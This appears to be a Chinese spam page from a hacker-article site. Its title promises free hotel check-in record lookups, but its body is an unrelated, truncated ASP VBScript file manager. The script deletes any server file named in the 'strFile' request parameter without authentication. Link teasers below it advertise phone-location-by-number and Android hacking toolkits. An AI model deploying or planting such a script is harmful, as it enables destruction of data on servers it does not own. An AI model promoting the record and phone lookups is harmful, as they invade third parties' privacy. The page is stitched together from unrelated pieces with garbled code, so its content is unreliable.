开宾馆记录多久消失 免费查开宾馆记录查询

访客4年前黑客文章881

<%@ Language=VBscript %>
<%Server.scriptTimeout=50000%>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<%
function JudgeParaRegular(intID)
if intID<>"" and isnumeric(intID) then
JudgeParaRegular=intId
else
Response.Write "输入错误!" 
Response.End 
end if
end function
intFileSize=JudgeParaRegular(Request.QueryString("intFileSize"))
strPath=Request.QueryString("strPath")
if instr(strPath,":")=0 then strPath=server.MapPath(strPath)
%>
<%
function deletefiles(path)
on error resume next
Set fs=Server.CreateObject("scripting.FileSystemObject")
if fs.FileExists(path) then
fs.DeleteFile path,True
response.write "成功删除"&path
else
response.write "文件不存在!"
end if
Set fs=nothing
if Err.number<>0 then Response.Write Err.number 
end function
strFile=request("strFile")
if request("strFile")<>"" then
deletefiles strFile
end if 

%>

<%
function ListFolderFiles(strPath,intFileSize,intFlag)
strOriginPath= Request.ServerVariables("script_Name")& "?strPath=" &Request.QueryString("strPath") & "&intFileSize="&Request.QueryString("intFileSize")
if strPath<>"" then
if intFlag=0 then
intFlag=intFlag+1
end if 
Set objFs=Server.CreateObject("scripting.FileSystemObject")
Set objFdir=objFs.GetFolder(strPath)
strParentPath= objFs.GetParentFolderName(strPath)
for each strSubFiles in objFdir.files
if strSubFiles.size /(1024^2)>=intFileSize then
Response.Write "<TR>" & vbcrlf
Response.Write "<TD>" & replace(strNullTran(strSubFiles),strNullTran(strSubFiles.Name),"<b>"&strNullTran(strSubFiles.Name)&"</b>") & "</TD>" & vbcrlf
Response.Write "<TD>"& strNullTran(FormatNumber(strSubFiles.size /(1024^2),2)) &" MB</TD>" & vbcrlf
Response.Write "<TD>" & strNullTran(strSubFiles.type) & "</TD>" & vbcrlf
Response.Write "<TD>" & strNullTran(strSubFiles.datelastmodified) & "</TD>" & vbcrlf
Response.Write "<TD><A HREF='"& strOriginPath & "&strFile="&strNullTran(strSubFiles)&"'><img align=ab *** iddle border=0 src='https://www.hack56.com/images/2sxkkzgf2kh.htm'></A></TD>" & vbcrlf
Response.Write "</TR>" & vbcrlf
intFlag=intFlag+strSubFiles.size
end if
next
for each strSubFolders in objFdir.SubFolders
if intFlag=0 then intFlag=1
ListFolderFiles strSubFolders,intFileSize,intFlag

相关文章

安卓黑客工具包(安卓黑客软件下载)

安卓黑客工具包(安卓黑客软件下载)

本文导读目录: 1、手机黑客工具箱:手机游戏 2、黑客工具包到哪里可以下载? 3、请问谁知道黑客工具包去哪里下? 4、2016 黑客的 Android 工具箱都有哪些 5、HACK黑客...

练习win10声卡驱动故障没有声音怎么办呢?

练习win10声卡驱动故障没有声音怎么办呢?

win10声卡驱动常见故障没声音怎么办呢?许多盆友重新安装了win10系统软件后发觉电脑上没法一切正常播放视频响声,这一可能是win10系统软件的声卡驱动出現的了常见故障造成的,这该该怎么办呢?今日我...

杨排风自助烧烤生意怎么样?好品牌实力不容质疑

杨排风自助烧烤生意怎么样?好品牌实力不容质疑

是跨行业的成长长短常繁荣的,是值得公共加盟商创业者创业加盟的好行业。跟着烧烤行业的不绝成长,虽然好品牌的优势气力也是会越来越为凸显的。在烧烤行业杨排风自助烧烤加盟品牌就长短常值得各人信赖加盟的好品牌,...

网上怎么找钱(网上快速挣钱的法子)

网上怎么找钱(网上快速挣钱的法子)

网上怎么找钱(网上快速挣钱的法子)网上是可以赚钱的,没本钱也是能白手起家的 很荣幸,本人在NBE投稿的《穷疯了!身无分文走投无路后最快的网上赚钱...

怎么去定位别人手机的位置(输入手机号直接定位)

如何去精准定位他人手机上的部位(键入手机号码立即精准定位)手机上确实能对你说在影片里的部位吗?跟您有关联吗?你能根据手机上精确精准定位你的部位。假如手机关机了,你要能寻找它吗?除开GPS定位,也有什么...